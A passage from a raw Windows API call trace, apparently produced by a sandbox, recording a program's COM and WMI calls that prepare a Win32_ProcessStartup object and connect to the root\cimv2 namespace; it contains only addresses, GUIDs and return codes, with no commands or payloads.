varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0077.301] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0077.301] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0077.301] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0077.301] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0077.301] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0077.301] IUnknown:Release (This=0x111f638) returned 0x1 [0077.303] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bfa7e10) returned 0x0 [0077.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa7e10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0077.304] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa7e10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bfbbb80) returned 0x0 [0077.304] WbemDefPath:IUnknown:Release (This=0x1bfa7e10) returned 0x0 [0077.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbb80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bfbbb80) returned 0x0 [0077.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbb80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0077.304] WbemDefPath:IUnknown:AddRef (This=0x1bfbbb80) returned 0x3 [0077.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbb80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0077.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbb80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0077.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbb80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bfa7e30) returned 0x0 [0077.304] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa7e30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.304] WbemDefPath:IUnknown:Release (This=0x1bfa7e30) returned 0x3 [0077.304] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0077.305] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0077.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbb80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0077.305] WbemDefPath:IUnknown:Release (This=0x1bfbbb80) returned 0x2 [0077.305] WbemDefPath:IUnknown:Release (This=0x1bfbbb80) returned 0x1 [0077.305] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0077.305] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0077.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbb80, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bfbbb80) returned 0x0 [0077.305] WbemDefPath:IUnknown:AddRef (This=0x1bfbbb80) returned 0x3 [0077.305] WbemDefPath:IUnknown:Release (This=0x1bfbbb80) returned 0x2 [0077.305] WbemDefPath:IWbemPath:SetText (This=0x1bfbbb80, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0077.305] IWbemClassObject:Get (in: This=0x11fdf30, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3b950*=0, plFlavor=0x2a3b954*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3b950*=19, plFlavor=0x2a3b954*=0) returned 0x0 [0077.305] IWbemClassObject:Get (in: This=0x11fdf30, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3b950*=19, plFlavor=0x2a3b954*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a3b950*=19, plFlavor=0x2a3b954*=0) returned 0x0 [0077.305] IWbemClassObject:Put (This=0x11fdf30, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0077.306] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf70520, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0077.306] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0077.306] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0077.306] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.306] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0077.306] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0077.306] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0077.306] IUnknown:Release (This=0x111f638) returned 0x1 [0077.308] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bfa7fd0) returned 0x0 [0077.308] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa7fd0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0077.308] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa7fd0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bfbbc40) returned 0x0 [0077.308] WbemDefPath:IUnknown:Release (This=0x1bfa7fd0) returned 0x0 [0077.308] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbc40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bfbbc40) returned 0x0 [0077.308] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbc40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0077.309] WbemDefPath:IUnknown:AddRef (This=0x1bfbbc40) returned 0x3 [0077.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbc40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0077.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbc40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0077.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbc40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bfa8010) returned 0x0 [0077.309] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8010, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0077.309] WbemDefPath:IUnknown:Release (This=0x1bfa8010) returned 0x3 [0077.309] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0077.309] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0077.309] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbc40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0077.309] WbemDefPath:IUnknown:Release (This=0x1bfbbc40) returned 0x2 [0077.309] WbemDefPath:IUnknown:Release (This=0x1bfbbc40) returned 0x1 [0077.309] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0077.309] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0077.310] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbbc40, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bfbbc40) returned 0x0 [0077.310] WbemDefPath:IUnknown:AddRef (This=0x1bfbbc40) returned 0x3 [0077.310] WbemDefPath:IUnknown:Release (This=0x1bfbbc40) returned 0x2 [0077.310] WbemDefPath:IWbemPath:SetText (This=0x1bfbbc40, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0077.310] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbc40, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0077.310] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0077.310] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.310] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0077.310] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0077.310] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0077.310] IUnknown:Release (This=0x111f638) returned 0x1 [0077.311] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bfa8110) returned 0x0 [0077.311] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8110, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0077.311] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bfa8110, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bfa8130) returned 0x0 [0077.311] WbemLocator:IUnknown:Release (This=0x1bfa8110) returned 0x0 [0077.311] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8130, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bfa8130) returned 0x0 [0077.311] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8130, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0077.312] WbemLocator:IUnknown:AddRef (This=0x1bfa8130) returned 0x3 [0077.312] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8130, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0077.312] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8130, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0077.312] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8130, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0077.312] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0077.312] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0077.312] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8130, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0077.312] WbemLocator:IUnknown:Release (This=0x1bfa8130) returned 0x2 [0077.312] WbemLocator:IUnknown:Release (This=0x1bfa8130) returned 0x1 [0077.312] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0077.312] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0077.312] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8130, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bfa8130) returned 0x0 [0077.312] WbemLocator:IUnknown:AddRef (This=0x1bfa8130) returned 0x3 [0077.312] WbemLocator:IUnknown:Release (This=0x1bfa8130) returned 0x2 [0077.312] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbc40, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0077.312] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0077.313] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.313] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bfa8150) returned 0x0 [0077.313] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bfa8150, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bfba0d0) returned 0x0 [0077.390] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfba0d0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf968a0) returned 0x0 [0077.390] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf968a0, pProxy=0x1bfba0d0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0077.390] WbemLocator:IUnknown:Release (This=0x1bf968a0) returned 0x1 [0077.390] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfba0d0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf968e0) returned 0x0 [0077.390] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfba0d0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf968a0) returned 0x0 [0077.390] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf968a0, pProxy=0x1bfba0d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0077.391] WbemLocator:IUnknown:Release (This=0x1bf968a0) returned 0x2 [0077.391] WbemLocator:IUnknown:Release (This=0x1bf968e0) returned 0x1 [0077.391] CoTaskMemFree (pv=0x1bf9a0f0) [0077.391] WbemLocator:IUnknown:AddRef (This=0x1bfba0d0) returned 0x2 [0077.391] WbemLocator:IUnknown:Release (This=0x1bfa8150) returned 0x0 [0077.392] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0077.392] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0077.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfba0d0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf968b0) returned 0x0 [0077.392] WbemLocator:IRpcOptions:Query (in: This=0x1bf968b0, pPrx=0x1bfa81b0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0077.392] WbemLocator:IUnknown:Release (This=0x1bf968b0) returned 0x2 [0077.392] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0077.392] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0077.392] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfba0d0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bfba0d0) returned 0x0 [0077.393] WbemLocator:IUnknown:Release (This=0x1bfba0d0) returned 0x2 [0077.393] SysStringLen (param_1=0x0) returned 0x0 [0077.393] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbbc40, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0077.393] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbbc40, lFlags=4, puBuffLength=0x1b2fd898*=0x0, 